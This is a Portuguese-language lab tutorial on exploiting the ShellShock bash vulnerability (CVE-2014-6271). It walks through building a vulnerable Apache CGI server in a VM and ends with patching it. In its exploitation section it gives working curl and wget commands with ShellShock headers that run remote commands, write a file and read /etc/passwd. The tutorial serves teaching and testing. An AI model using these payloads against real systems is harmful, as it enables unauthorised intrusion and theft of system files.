Tutorial
ShellShock
() { :; } ;
O autor deste documento entende que este tutorial serve apenas para demonstrar a exploração da vulnerabilidade ShellShock (CVE-2014-6271) e a sua respetiva correção. Não sendo responsável pelo uso inadequado do mesmo.
I. INTRODUÇÃO
Neste tutorial é demonstrado como configurar um servidor vulnerável a esta falha e explora-lo remota-mente. O ambiente Linux (Ubunto Server 14.04) foi o escolhido para a realização da experiência.
II. CONCEITOS IMPORTANTES
- ShellShock é uma vulnerabilidade que afeta o interpretador de comandos de sistemas Linux (BashShell), o que significa que uma pessoa mal intencionada, aproveitando-se desta falha, pode executar um comando arbitrário no sistema, o que pode provocar severos danos.
- CGI é um acrónimo de Common Gateway Interface. Basicamente é uma tecnologia que permite gerar páginas dinâmicas, permitindo a um navegador passar parâmetros para um programa alojado num servidor web. Assim, designam-se por scripts CGI os pequenos programas que interpretam esses parâmetros e geram a página depois de os processar. Para mais informações consultar, por favor, o seguinte endereço: http://pt.wikipedia.org/wiki/CGI.
III. SOFTWARE NECESSÁRIO
O Software utilizado neste ponto, passa por obter um gestor de máquinas virtuais, e uma imagem de um sistema operativo Linux, anterior a Agosto de 2014, em especifico será utilizado o seguinte software:
- VirtualBox: https://www.virtualbox.org/.
- Ubuntu Server 14.04 LTS: http://www.ubuntu.com/download/server.
Parte-se do princípio, que o leitor, instale este software, assim como a máquina virtual.
Para o correto funcionamento deste tutorial não faça atualizações no sistema operativo durante a instalação, assim como com ele já instalado na máquina virtual, pelo menos para já.
Execute o seguinte comando na sua máquina virtual:
echo $BASH_VERSION |
Se o output apresentado no terminal for ≤ 4.3.8(1), então significa que a versão do bash do sistema operativo é vulnerável.
Para verificar se o sistema é vulnerável, execute o seguinte comando:
env x='() { :;}; echo vulneravel’ bash -c ‘echo hello’ |
Caso vulneravel apareça no output então o sistema é vulnerável, e a partir de agora irá ser demonstrado como se pode aproveitar esta falha remotamente.
IV. Configuração da Máquina Virtual
A. Configuração da Rede
Para que a máquina virtual comunique com sistema operativo base do host, é necessário configurar a interface de rede como apresentado na imagem na figura abaixo.
Máquina → Definições → Rede
Ou simplesmente pressione: ctrl+s.
Aqui selecione em ’Associado a:’ Adaptador Bridged.
De seguida, reinicie a máquina virtual deforma a aplicar devidamente as alterações.
Caso consiga fazer ping do host para a máquina virtual pode prosseguir para o passo seguinte.
B. Configuração do Apache2 e Script CGI
Durante a instalação do sistema operativo na máquina virtual, caso tenha optado pelo Ubuntu Server e ignorado o passo da escolha dos serviços que pretendia instalar, pode sempre instalar o Apache2 assim como outros serviços para a correta concretização deste tutorial.
Para instalar o Apache2 faça:
sudo apt-get install apache2 |
É aconselhada a reinicialização da máquina virtual após a conclusão da instalação.
Para verificar que o Apache2 está a corretamente instalado pode simplesmente ir ao navegador de Internet do seu sistema nativo e digitar o endereço Ip da máquina virtual, caso esteja tudo correto irá apresentar a página por omissão do servidor Apache2.
Após estas verificações, pode ir para o passo seguinte, que é a configuração do Apache2 para este conseguir correr scripts CGI.
Para habilitar o uso de scripts CGI no Apache2 é necessário editar um ficheiro, digite:
sudo vim /etc/apache2/sites-available/000-default.conf |
Para introduzir o código no vim digite: i
Para sair e gravar as alterações no vim digite: Esc seguido de :wq
De seguida reinicie o Apache2, digitando:
sudo service apache2 restart |
Vá a /var/www/ e crie um ficheiro de nome teste.cgi, e introduza o código listado na seguinte imagem.
cd /var/www/html/ sudo vim teste.cgi |
De seguida, é necessário dar permissões de escrita e execução ao script.
sudo chmod 755 teste.cgi |
Para verificar se o script est á a funcionar, vá ao navegador de Internet do seu sistema nativo, digite o seguinte endereço: ipdasuaMaquinaVirtual/teste.cgi
Se tudo estiver correto no navegador de Internet será exibida a mensagem Isto eh um teste.
Neste momento, irá proceder-se à fase de exploração desta falha.
V. Exploração da Falha
Nesta secção, será demonstrado porque um servidor com estas caraterísticas, pode ser um alvo, e provocar-lhe os mais diversos efeitos, dependendo apenas da imaginação do ”atacante”.
Este ataque vai ser executado remotamente, através do host nativo será efetuado um ataque à máquina virtual vulnerável via protocolos GET e POST, ou seja irá apenas proceder-se a criação de um ficheiro na máquina virtual, via esta falha, e à obtencão de um ficheiro considerado ”crítico” do alvo, isto tudo remotamente, para isso serão usados os comandos curl, e wget, para mais informações sobre estes, recomenda-se a visualização da man page dos mesmos através dos comandos.
man curl man wget |
Execute o código abaixo e veja que não existe qualquer tipo de ficheiro nesta pasta.
cd /tmp/ ls |
Devido à extensão dos códigos considere:
*endereco = “http://ipdaMaquinaVirtual/teste.cgi” |
De seguida, no seu sistema nativo, execute o seguinte código:
curl -H “Content-Type:() { :;}; echo invadido > /tmp/oi.txt” *endereco |
Criação de um ficheiro no sistema alvo na pasta em /tmp/oi.txt, remotamente, com o conteúdo invadido, para verificar execute:
cd /tmp/ ls cat oi.txt |
Obter o ficheiro /etc/passwd do sistema alvo, remotamente, para isso execute:
wget -U “() { :;};echo \”Content-type: text/plain\”; echo; echo; /bin/cat /etc/passwd” *endereco |
Este ficheiro terá o nome teste.cgi e estará na sua diretoria de utilizador no seu sistema nativo, para o visualizar execute:
cd ~ cat teste.cgi |
E assim ficou demonstrado porque o ShellShock pode ser perigoso.
VI. Resolução do Problema
A resolução deste problema é bastante simples, pois apenas implica que o administrador do sistema, atualize o seu sistema, sendo apenas necessário digitar os seguintes códigos:
sudo apt-get update sudo apt-get upgrade sudo apt-get dist-upgrade |
Pedro Tavares is a professional in the field of information security working as an Ethical Hacker/Pentester, Malware Researcher and also a Security Evangelist. He is also a founding member at CSIRT.UBI and Editor-in-Chief of the security computer blog seguranca-informatica.pt.
In recent years he has invested in the field of information security, exploring and analyzing a wide range of topics, such as pentesting (Kali Linux), malware, exploitation, hacking, IoT and security in Active Directory networks. He is also Freelance Writer (Infosec. Resources Institute and Cyber Defense Magazine) and developer of the 0xSI_f33d – a feed that compiles phishing and malware campaigns targeting Portuguese citizens.
Read more here.